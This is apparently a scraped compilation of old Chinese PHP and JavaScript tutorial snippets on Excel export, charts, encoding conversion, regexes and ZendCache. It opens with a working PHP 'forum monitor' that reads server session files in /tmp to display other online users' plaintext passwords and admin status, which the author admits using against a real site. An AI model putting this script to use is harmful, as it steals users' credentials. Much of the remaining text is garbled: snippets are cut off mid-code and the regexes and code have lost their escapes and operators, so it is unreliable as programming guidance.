之所以是能写出来这个函数,主要是对该网站的session结构清楚,如:name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1",也知道该session存放的位置,而且可以上传文件,所以嘛,当时就做了一次小小的黑客,在线的朋友的密码可以一览无余,呵呵:
<?
function submit1(){
global $username;
print "<title>论坛监听器</title>";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "你也太黑了吧?连我你也查?";
return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]==""".$username."""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "用户笔名:".$name[2]."<br>使用密码:".$passwd[2]."<br>使用模式:";
if($mode[1]==1)
print "<font color=red>管理员</font>";
else
print "一般用户";
print"<br><br>偷窃他人密码是不道德行为请少少为之<br>";
$i=1;
break;
}}}}
if(!$i)
print "用户:".$username."真的在线吗?如你确定,<a href=javascript:history.go(-1)>请再来一次</a>,不要多打空格!";
$d->close();
}
function login(){
?>
<html>
<head>
<title>论坛监听器</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<div align="center">
<p>论坛监听器 </p>
<p> </p>
PHP教程之变量互换
Attributed to Solomon W. Golomb; a method for swapping the values of two integer variables without using an intermediate variable (you can tell this dates from the Elder Days, when variables were expensive!). Thanks to PHPs syntax its also a one-liner.
$a^=$b^=$a^=$b;
Okay, heres how it goes (yeah, like I need to make content-free posts just for the sake of an increment...).
First, simplify the line; noting that ^= is right-associative, which means that in that line the rightmost operator is evaluated first, that the assignment operators also return the value that they assign to their lvalue, and that foo^=bar is shorthand for foo=foo^bar:
用PHP将mysql数据表转换为excel文件格式
作者:mydowns 出处:把握时间网站:http://www.85time.com, http://www.mydowns.com
原贴地址如下:
http://www.mydowns.com/article_show.php?id=32
详细内容如下:
<?php
$DB_Server = "localhost";
$DB_Username = "mydowns";
$DB_Password = "";
$DB_DBName = "mydowns";
$DB_TBLName = "user";
$Connect = @mysql_connect($DB_Server, $DB_Username, $DB_Password)
or die("Couldnt connect.");
$Db = @mysql_select_db($DB_DBName, $Connect)
or die("Couldnt select database.");
$file_type = "vnd.ms-excel";
$file_ending = "xls";
header("Content-Type: application/$file_type");
header("Content-Disposition: attachment; filename=mydowns.$file_ending");
header("Pragma: no-cache");
header("Expires: 0");
$now_date = date(Y-m-d H:i);
$title = "数据库名:$DB_DBName,数据表:$DB_TBLName,备份日期:$now_date";
$sql = "Select * from $DB_TBLName";
$ALT_Db = @mysql_select_db($DB_DBName, $Connect)
or die("Couldnt select database");
$result = @mysql_query($sql,$Connect)
or die(mysql_error());
echo("$title");
$sep = " ";
for ($i = 0; $i < mysql_num_fields($result); $i++) {
echo mysql_field_name($result,$i) . " ";
}
print("");
$i = 0;
while($row = mysql_fetch_row($result))
{
$schema_insert = "";
for($j=0; $j<mysql_num_fields($result);$j++)
{
if(!isset($row[$j]))
$schema_insert .= "NULL".$sep;
elseif ($row[$j] != "")
$schema_insert .= "$row[$j]".$sep;
else
$schema_insert .= "".$sep;
}
$schema_insert = str_replace($sep."$", "", $schema_insert);
$schema_insert .= " ";
print(trim($schema_insert));
print "";
$i++;
}
return (true);
?>
[PHP] EOD 及 mail 发布
$message= <<<EOD
......成堆的字符串 如批量HTML代码 可以念
EOD;
装载到 $message 中。
$to=
;
$mail =
对页面的源代码进行加密,使源代码变成乱码,没法读取
脚本说明:
第一步:把如下代码加入<head>区域中
<SCRIPT language=javascript>
<!--
var Words;
function SetWords(word)
{
Words = escape(word.value);
}
function SetNewWords(form)
{
var NewWords;
NewWords = Words
form.NewWords.value = NewWords;
}
//-->
</SCRIPT>
第二步:把如下代码加入<body>区域中
<FORM METHOD=POST>
<div align=center>
<div align=center>
<font color=#0066FF>加密页面源代码脚本</font></div>
<p>将你的页面源代码粘贴在下面的框内,要包括所有的标签例如html , head, body等。</p>
</div>
<P align=center>
<TEXTAREA NAME=Word VALUE= ROWS=7 COLS=50 ONCHANGE=SetWords(this)>
</TEXTAREA>
<P align=center>
<INPUT TYPE=BUTTON ONCLICK=SetNewWords(this.form)
VALUE=开始转换>
<P align=center>
<TEXTAREA NAME=NewWords VALUE= ROWS=7 COLS=50>
</TEXTAREA>
</FORM><p align=center> 以上是转换好的代码,将他们加入如下脚本的引号区内,就是加密后的HTML了!
<p>
<font face=Arial, Helvetica, sans-serif><b><HTML><br>
<HEAD><br>
<SCRIPT LANGUAGE=Javascript><br>
<!--<br>
var Words =<font color=red> </font>//put your cripto code there<br>
function SetNewWords()<br>
如何用php作线形图的函数
很高兴大家对PHP如此的情有独钟!
下面就给大家介绍php作线形图的函数:
/*
函数说明
$data:y轴数据(数组)
$graphdata:y轴数据--百分比(数组)
$label:x轴数据(数组)
$height:图像高度
$width:图像宽度
$font:字号
$dot:决定点的大小
$bg:背景色
$line :线色
$text :文本色
$dotcolor:点色
$file:输出图像文件名
*/
function qximage($data ,
$graphdata,
$label ,
$height,
$width ,
$font,
$dot,
$bg,
$line,
$text,
$dotcolor,
$file)
{
$jc=$height/100;
$fontwidth= imagefontwidth ($font);
$fontheight=imagefontheight($font);
$image= imagecreate ($width,$height+20);
$bg= imagecolorallocate($image ,$bg[0],$bg[1],$bg[2]);
$line=imagecolorallocate($image ,$line[0],$line[1],$line[2]);
$text=imagecolorallocate($image ,$text[0],$text[1],$text[2]);
$dotcolor=imagecolorallocate($image ,$dotcolor[0],$dotcolor[1],$$dotcolor[2]);
imageline ($image,0,0,0,$height,$line);
imageline($image,0,$height,$width,$height,$line);
for ($i=1;$i<11;$i++)
{
imagedashedline($image,0,$height - $jc*$i*10 ,$width ,$height -$jc*$i*10 ,$line );
imagestring ($image,$font,0,$height-$jc*$i*10,$i*10,$text);
}
for ($i=0;$i {
#echo $tmp.
;
$x1=(($width-50)/count($data))*($i)+40;
#echo $x1 .
;
$y1=$height-$graphdata[$i]*$jc;
$x2=$x1;
$y2=$y1+$graphdata[$i]*$jc;
#echo $y1.
;
imagestring($image,$font,$x1,$y1-2*$fontheight,$graphdata[$i].%(.$data[$i].),$text);
imagearc ($image,$x1 ,$y1,$dot,$dot,0,360,$dotcolor);
imagefilltoborder ($image,$x1,$y1,$dotcolor,$dotcolor);
imagestring ($image,$font,$x1,$y2,$label[$i],$text);
if ($i>0)
{
imageline($image,$tmpx1,$tmpy1,$x1,$y1,$line);
}
$tmpx1=$x1;$tmpy1=$y1;
}
imagegif ($image,$file);
}
?>
php的汉字转换:GBK至Unicode(UTF8)
php的汉字转换一直是比较麻烦的事
该类内置了四个函数"htmlHex","htmlDec","escape","u2utf8"
方便用户的使用,同时也可自定义函数进行自己喜欢的操作
qswhGBK.php 从这里下载
http://www.blueidea.com/user/qswh/qswhGBK.zip
PHP一些常用的正则表达式
匹配中文字符的正则表达式: [u4e00-u9fa5]
匹配双字节字符(包括汉字在内): [^x00-xff]
应用:计算字符串的长度(一个双字节字符长度计2,ASCII字符计1)
匹配空行的正则表达式: [s| ]*
匹配HTML标记的正则表达式: /<(.*)>.*</>|<(.*) />/
匹配首尾空格的正则表达式: (^s*)|(s*$)
应用:javascript中没有像vbscript那样的trim函数,我们就可以利用这个表达式来实现,如下:
return this.replace(/(^s*)|(s*$)/g, );
}
利用正则表达式分解和转换IP地址:
下面是利用正则表达式匹配IP地址,并将IP地址转换成对应数值的javascript程序:
re=/(d ).(d ).(d ).(d )/g //匹配IP地址的正则表达式
if(re.test(ip)) {
return RegExp.*Math.pow(255,3)) RegExp.*Math.pow(255,2)) RegExp.*255 RegExp.*1
}
else {
throw new Error(Not a valid IP address!)
}
}
不过上面的程序如果不用正则表达式,而直接用split函数来分解可能更简单,程序如下:
ip=ip.split(.)
alert(IP值是: (ip[0]*255*255*255 ip[1]*255*255 ip[2]*255 ip[3]*1))
匹配Email地址的正则表达式: w ([- .]w )*@w ([-.]w )*.w ([-.]w )*
匹配网址URL的正则表达式: http://([w-] .) [w-] (/[w- ./?%&=]*)?
利用正则表达式去除字串中重复的字符的算法程序:
var s1=s.replace(/(.).*/g,)
var re=new RegExp([ s1 ],g)
var s2=s.replace(re,)
alert(s1 s2) //结果为:abcefgi
用正则表达式从URL地址中提取文件名的javascript程序,如下结果为page1
s=s.replace(/(.*/)([^.] ).*/ig,)
alert(s)
利用正则表达式限制网页表单里的文本框输入内容:
对PHP采集数据提取核心函数的速度的测试与分析
对PHP采集数据提取核心函数的速度的测试与分析
由于程序需要,于是对PHP采集中的字符提取的核心部分进行了执行速度的测试。
测试了三种最常见的提取办法:
方法一:
<?php
require "class.debug.php";
function getContent ( $sourceStr )
{
$content = strstr( $sourceStr, 形 );
$content = substr( $content, 0, strrpos( $content, 言 ) + strlen( 言 ) );
return $content;
}
$sourceStr = 拒绝任何人以任何形式在本论坛发表与中华人民共和国法律相抵触的言论;
$debug = new Debug;
$debug->startTimer();
for( $i = 0; $i < 1000000; $i++ )
{
$returnStr = getContent( $sourceStr );
}
$timeInfo = $debug->endTimer();
echo $timeInfo;
?>
通过比较低级的字符操作函数进行提取.
方法二:
<?php
require "class.debug.php";
function getContent ( $sourceStr )
{
$pattern = "/形(.*?)言/is";
preg_match_all( $pattern, $sourceStr, $result );
return $result[1][0];
}
$sourceStr = 拒绝任何人以任何形式在本论坛发表与中华人民共和国法律相抵触的言论;
$debug = new Debug;
$debug->startTimer();
for( $i = 0; $i < 1000000; $i++ )
{
$returnStr = getContent( $sourceStr );
}
$timeInfo = $debug->endTimer();
echo $timeInfo;
?>
使用一个简单的正则来提取.
方法三:
<?php
require "class.debug.php";
function getContent ( $sourceStr )
{
$content = explode( 形, $sourceStr );
$content = explode( 言, $content[1] );
return $content[0];
}
$sourceStr = 拒绝任何人以任何形式在本论坛发表与中华人民共和国法律相抵触的言论;
$debug = new Debug;
$debug->startTimer();
for( $i = 0; $i < 1000000; $i++ )
{
$returnStr = getContent( $sourceStr );
}
$timeInfo = $debug->endTimer();
echo $timeInfo;
?>
通过两次explode分裂字符串来提取.
测试前我的观点是: 1 > 2 > 3
php的汉字转换:Unicode(UTF8)至GBK
P>秋水无恨 GBK Unicode UTF8 汉字 转换
php的汉字转换一直是比较麻烦的事
该类内置了四个过滤"&#[dec];","&#x[hex];","%u[hex]","utf8转换"
方便用户的使用,同时也可自定义过滤进行自己喜欢的操作
qswhU.php 从这里下载
http://www.blueidea.com/user/qswh/qswhU.zip
class qswhU{
var $qswhData;
function qswhU($filename="qswhU.php"){
$this->qswhData=file($filename);
}
function decode($str,$pattern=0){
$arr=array("/&#(w+);/iU","/((%ww)+)/i","/%u(w{4,5})/iU");
if(is_integer($pattern)){
if($pattern>=count($arr))die("Invalid Function");
$pattern=$arr[$pattern];
}
return preg_replace_callback($pattern,array($this,"u2gb"),$str);
}
function u2gb($arr){
/******(qiushuiwuhen 2002-8-15)******/
$ret="";$str=$arr[1];
if(preg_match_all("/%w{2}/",$str,$matches)){
for($i=0;$i<count($matches[0]);$i++){
$chr1=hexdec(substr($matches[0][$i],1));
$arr=array("f0","e0","c0","0");
for($j=0;$j<count($arr);$j++)if($chr1>hexdec($arr[$j]))break;
$chr=hexdec(substr($matches[0][$i],1))-hexdec($arr[$j]);
while(++$j<count($arr))$chr=$chr*0x40+(hexdec(substr($matches[0][++$i],1))-0x80);
$str=dechex($chr);
if(strlen($str)==4){
$p=hexdec(substr($str,0,2))-0x4d;
$q=hexdec(substr($str,2))*4;
PHP 中英文混合排版中处理字符串常用的函数
/*
我们在处理中文数据时,经常要处理一些情况,下面就是针对
这些情况,我做的一些函数,已经用在了实践中
如果有问题,请与我联系
OICQ: 86804
*/
# 判断某个位置是中文字符的左还是右半部分,或不是中文
# 返回值 -1 左 0 不是中文字符 1 右
# 用法
/*
$a = this is 中文;
print is_chinese($a, 1); // 0
print is_chinese($a,8); // -1
print is_chinese($a,9); // 1
*/
function is_chinese(&$str, $location) {
$ch = true;
$i = $location;
while(ord($str[$i])>0xa0 && $i >= 0) {
$ch = !$ch;
$i --;
}
if($i != $location) {
$f_str = $ch ? 1: -1;
}
else {
$f_str = false;
}
return $f_str;
}
# 中文字符串倒置函数
# 如果一个将一个有中文的字符串用strrev倒过来,就会产生乱码
/*
print cstrrev(this is 中文); // 文中 si siht
*/
function cstrrev(&$str) {
$long = strlen($str);
for($f_str=, $chinese=false, $i=$long-1; $i>=0; $i--) {
if(ord($str[$i]) > 0xa0) {
$chinese = ! $chinese;
if($chinese == false) {
$f_str .= $str[$i].$str[$i+1];
}
}
else {
$f_str .= $str[$i];
}
}
return $f_str;
}
/* 中文字符串截取函数
一些中文字符串截取函数经常有一些问题,例如在一些自动换行程序中
$a=“1中2”;
经两次截取后,
csubstr($str,$a,0,2);
csubstr($str, $a, 2,2)
由于载取位置指向“中”的右字节,可能会是这样的结果
1, 2
用本函数会产生正确的结果
1中, 2
*/
# start 开始位置,从0开始
# long = 0 则从start 一直取到字符串尾
# ltor = true 时从左到右取字符,false 时到右到左取字符
# $cn_len 中文字符按字节取还是字数取,如果按字数取,则一个中文当一个字节计算
function csubstr(&$str, $start=0, $long=0, $ltor=true, $cn_len=2) {
if($long == 0) $long = strlen($str);
if($ltor == false) $str = cstrrev($str);
ZendCache 使你的站点飞起来
商业应用的网站,其传输效率是十分重要的,通常在一些电子商务的站点上,服务器的反应速度决定了其服务质量,服务器的负载决定了它的最大可提供客户的访问容量。技术人员总是想方设法地尽可能地提高服务器的响应速度。而ZendCache也正是为了提高服务器的响应速度而开发的一个优秀产品。有数据证明,使用ZendCache可以将服务器的响应速度提高到原来的300%以上。
一、ZendCache是什么
先看一下php是如何运行的,一个请求php脚本发到服务器后,服务器从磁盘上查找相应的文件,先编译脚本,然后执行之,最后将结果送出。所花时间由查找文件+打开文件+读文件+编译文件几部分组成。ZendCache是一个php脚本高速Cache,它可以将刚执行的php脚本文件的编译结果存放在Web服务器的内存中,如果下一次有人再请求此页,它就可以很快将其送出。免去了每次用户请求php文件,服务器都编译一次脚本所花的时间。同时,免取了从磁盘上查找、读取php文件所花的时间。所以可以大大提高服务器的相应速度。
目前ZendCache只能运行在Linux (glibc 2.1)、Solaris 2.6以上、FreeBSD 3.4及4.0。很可惜,目前它沿不支持Windows系统。
二、安装及使用ZendCache
在zend.com上注册一个用户,以此用户登录zend.com,然后到以下地址下载http://www.zend.com/store/products/zend-cache.php。由于zendCache是一个要会费的软件,我们这里只能下载一个可供使用30天的一个限制日期的试用版,不过,它是一个全功能的软件包。试试看,你可以体验到它强大的功能。要下载其试用版,直接选择“Test drive available”下载。
整个下载要分三步,第一步,下载ZendCache软件包,直接从“Supported Platforms”中选择相应平台的软件包即可。注意软件适用的平台及相应php的版本、类库的类型。
第二步是 “Request Product License”,即从zend.com取得授权,要求用户提供自己机器的Host ID,也即计算机上网卡的MAC地址,zend.com提供了一个读取主机网卡地址的工具,用户可以从zend.com是下载一个叫lmutil.Z的小程序,解压缩后,执行它,即可获得计算机的网卡地址。执行方法:
# ./lmutil lmhostid
即可获得主机ID。另外,用户也可以从/var/log/messages中找到网卡的MAC地址。
此将此ID号填入申请license的form中,选择“request”,然后耐心等待,Zend.com会在48小时内给你发邮件,通知你可以去下载自己的license了。收到邮件后,直接进入http://www.zend.com/store/pickup.php去下载。License是一个名为zend_cache.dat的文件.